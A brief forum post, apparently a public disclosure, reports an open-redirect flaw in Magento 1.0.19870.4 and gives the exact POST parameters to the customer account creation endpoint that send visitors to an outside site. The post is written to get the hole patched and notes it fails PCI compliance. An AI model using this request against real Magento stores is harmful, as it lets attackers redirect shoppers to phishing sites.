Magento

Ok, due to not being able to pm a magento team member have had to post this here.. Unfortunately this means if you don’t patch this people can use your magento installation to open redirect people

POST Below variables to /customer/account/createpost/
Body success_url=0
error_url=http://www.scanalert.com/
is_subscribed=1
firstname=0
lastname=0
email=0
password=0
confirmation=0

This fails PCI compliancy in its current state. The version we have tested on is 1.0.19870.4